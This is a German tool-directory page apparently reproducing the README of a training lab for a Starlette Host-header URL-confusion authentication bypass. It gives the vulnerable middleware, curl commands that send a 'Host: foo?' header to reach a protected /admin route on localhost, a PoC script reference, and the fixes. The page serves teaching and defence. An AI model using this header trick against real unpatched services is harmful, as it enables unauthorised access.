Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
Tools/GitHubGitHub/xtremebeing/starlette-host-header-lab
SchwachstellenanalyseWebsicherheitAuthentifizierungFehlkonfigurationLernen & BildungLabs & Praxis
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Starlette Host-Header URL Confusion Lab (X41-2026-002)

Ein eigenständiges, containerisiertes Trainingslabor, das die von X41 D-Sec offengelegte Starlette-Authentifizierungsbypass-Sicherheitslücke reproduziert.

  • Advisory: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Interpretation Conflict / Untrusted Input in Function Call
  • CVSS: 7.0 (High)
  • Betroffen: Starlette >= 0.8.3, < 1.0.1 (Lab pinnt 0.37.2)
  • Behoben in: Starlette 1.0.1

⚠️ Nur für autorisierte Sicherheitstrainings. Diese App ist absichtlich verwundbar. Nicht in einem erreichbaren Netzwerk bereitstellen.


Die Sicherheitslücke in einem Absatz

Starlette leitet eine Anfrage an eine Route weiter, indem es das rohe ASGI scope["path"] verwendet, rekonstruiert aber request.url, indem es den vom Client gelieferten Host-Header in "{scheme}://{host}{path}" einfügt — ohne den Host-Header gemäß RFC 9112 §3.2 zu validieren. Da URL-Metazeichen (?, /, #) ungehindert durchgelassen werden, kann ein Angreifer den rekonstruierten Pfad vom gerouteten Pfad abweichen lassen. Jede Sicherheitsüberprüfung, die gegen request.url.path geschrieben wurde, kann dann umgangen werden, während der Router dennoch den geschützten Handler erreicht.

Warum der PoC funktioniert

Die anfällige Middleware erlaubt die Anfrage nur, wenn request.url.path / oder leer ist:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

Sende Host: foo? gegen GET /admin:

KomponenteVerwendeter Wert
Router (scope["path"])

Das ? macht alles danach zur Query-String, sodass der geparste Pfad leer ist. Die Authentifizierung sieht einen leeren Pfad und lässt ihn durch; der Router bedient trotzdem /admin. Bypass erreicht.


Ausführen des Labs

Erfordert Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Zwei Dienste starten:

DienstURLVerhalten
vulnerablehttp://localhost:8000umgehbar
fixedhttp://localhost:8001abgesichert (zwei Wege)

Ausnutzen

root@kitploit:~
# Blockiert normal:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host-Header-Injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Oder führe das geführte PoC-Skript aus:

root@kitploit:~
./exploit/exploit.sh        # greift :8000 an (erfolgreich)
./exploit/exploit.sh 8001   # greift :8001 an (fehlschlägt – behoben)

Der verwundbare /admin-Handler gibt einen JSON-Body zurück, der die Verwirrung sichtbar macht – beachte, wie scope_path und reconstructed_path abweichen:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Wie es behoben wird

Siehe fixed/fixed_app.py. Zwei unabhängige Gegenmaßnahmen:

  1. Den autoritativen Wert verwenden. Die Authentifizierungsentscheidung auf Basis von request.scope["path"] treffen – demselben rohen Pfad, den der Router verwendet – anstatt des rekonstruierten request.url.path.
  2. Defense in Depth. TrustedHostMiddleware lehnt unerwartete/fehlerhafte Host-Header ab, bevor Anwendungslogik ausgeführt wird, und spiegelt damit das Verhalten eines RFC-konformen Reverse-Proxys (nginx/Apache) upstream.

Die echte Korrektur ist einfach Upgrade auf Starlette ≥ 1.0.1, das den Host-Header während der URL-Rekonstruktion validiert.


Diskussionsfragen für Entwickler

  1. Wo sonst in einem typischen Stack wird ein Wert aus nicht vertrauenswürdigen Eingaben rekonstruiert und dann vertraut? (Hinweis: SSRF-Allowlists, OAuth redirect_uri, Cache-Keys, aus dem Host erstellte Passwort-Reset-Links.)
  2. Warum ist „blockiere den bösen Pfad“ (/admin) hier anfälliger als „entscheide über den gerouteten Endpunkt“? Was ist, wenn das Routing case-insensitive ist oder Trailing-Slash-Weiterleitungen hat?
  3. Dies ist CWE-436 (Interpretationskonflikt). Welche anderen bekannten Bugs teilen diese Form? (HTTP-Request-Smuggling, Unicode-Normalisierungs-Auth-Bypass, der 0.0.0.0-Tag.)

Dateien

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
Tool herunterladen
/admin → leitet weiter an admin()
request.urlhttp://foo?/admin
request.url.path"" → besteht die Authentifizierungsprüfung ✅